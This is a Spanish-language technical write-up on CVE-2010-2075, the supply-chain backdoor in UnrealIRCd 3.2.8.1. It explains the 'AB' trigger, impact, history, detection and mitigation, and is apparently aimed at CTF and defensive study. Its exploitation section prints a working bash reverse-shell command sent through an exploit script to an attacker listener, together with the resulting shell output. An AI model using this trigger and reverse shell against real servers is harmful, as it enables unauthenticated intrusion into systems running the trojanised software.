1. Descripción técnica del ataque
CVE-2010-2075 es una puerta trasera (backdoor) maliciosa introducida en el código fuente distribuido de UnrealIRCd 3.2.8.1, un popular servidor de IRC. No se trata de un error de programación accidental, sino de código malicioso insertado por un atacante que comprometió uno de los servidores de descarga del proyecto.
La backdoor reside en el manejo de datos entrantes del servidor IRC. Cuando una línea recibida comienza con la cadena especial AB, el servidor toma el resto de la línea y la pasa directamente a system(), ejecutándola como comando del sistema con los privilegios del proceso ircd.
En otras palabras, cualquier cliente que se conecte al puerto IRC (típicamente 6667) y envíe:
AB; <comando>logra ejecución remota de comandos sin necesidad de autenticación.
2. Impacto de la vulnerabilidad
- RCE remoto y no autenticado contra cualquier servidor que ejecute la versión troyanizada.
- Compromiso del sistema con los privilegios del servicio IRC (frecuentemente un usuario dedicado, punto de partida para escalar privilegios).
- Caso emblemático de ataque a la cadena de suministro (supply chain): el código legítimo del proyecto fue sustituido por una versión con backdoor en los mirrors de descarga.
3. Historia y evolución
- El tarball troyanizado de UnrealIRCd 3.2.8.1 estuvo disponible para descarga aproximadamente desde noviembre de 2009.
- En junio de 2010 el equipo de UnrealIRCd detectó y anunció públicamente que el archivo distribuido había sido modificado para incluir la backdoor, asignándose CVE-2010-2075.
- Existe un módulo de Metasploit (
exploit/unix/irc/unreal_ircd_3281_backdoor) y numerosos exploits independientes que automatizan su explotación. Sigue siendo un objetivo muy común en máquinas de CTF.
4. Factores que la hacen posible
- Ejecutar la versión específica troyanizada de UnrealIRCd 3.2.8.1 (descargada del mirror comprometido).
- Tener el puerto IRC accesible para el atacante (6667 u otros configurados).
- La ausencia de verificación de integridad (checksums/firmas GPG) al instalar el software desde la fuente.
5. Detección
- Identificación del servicio: un escaneo de versiones revela el banner de UnrealIRCd:
nmap -sCV -p6667,6697,8067 target- Búsqueda de exploits conocidos:
searchsploit irc unreal- Verificación de integridad: comparar el hash del binario/fuente con los checksums oficiales del proyecto. La presencia de la cadena
ABcomo disparador en el manejo de entrada es el indicador definitivo en un análisis de código.
6. Mitigación
- Actualizar a una versión limpia de UnrealIRCd (las posteriores al incidente, no troyanizadas).
- Reinstalar desde fuentes verificadas y comprobar siempre firmas GPG y checksums del software descargado.
- Si se sospecha compromiso, asumir el sistema como comprometido y reconstruirlo desde cero.
- Restringir el acceso de red al servicio IRC mediante firewall a solo los orígenes necesarios.
7. Ejemplo de explotación real
Usando un exploit que automatiza el disparador AB, se lanza una reverse shell:
❯ python3 CVE-2010-2075.py -t 192.168.1.38 -p 6667 -c 'bash -c "bash -i >& /dev/tcp/192.168.1.3/1234 0>&1"'
Creating connection
Creating payload
[*]Sending Payload...
❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.38
server@real:~/irc/Unreal3.2$ id
uid=1000(server) gid=1000(server) groups=1000(server)8. Clasificación
- Tipo: Backdoor / Supply Chain Attack → Remote Code Execution
- CVE: CVE-2010-2075
- CWE:
- CWE-78 – OS Command Injection
- CWE-506 – Embedded Malicious Code
9. Resumen
CVE-2010-2075 es una backdoor incrustada en el tarball distribuido de UnrealIRCd 3.2.8.1: cualquier línea que empiece por AB se ejecuta vía system(), otorgando RCE remoto sin autenticación. Es un ejemplo clásico de ataque a la cadena de suministro y un objetivo recurrente en CTFs. La defensa pasa por instalar versiones limpias y verificar siempre la integridad del software.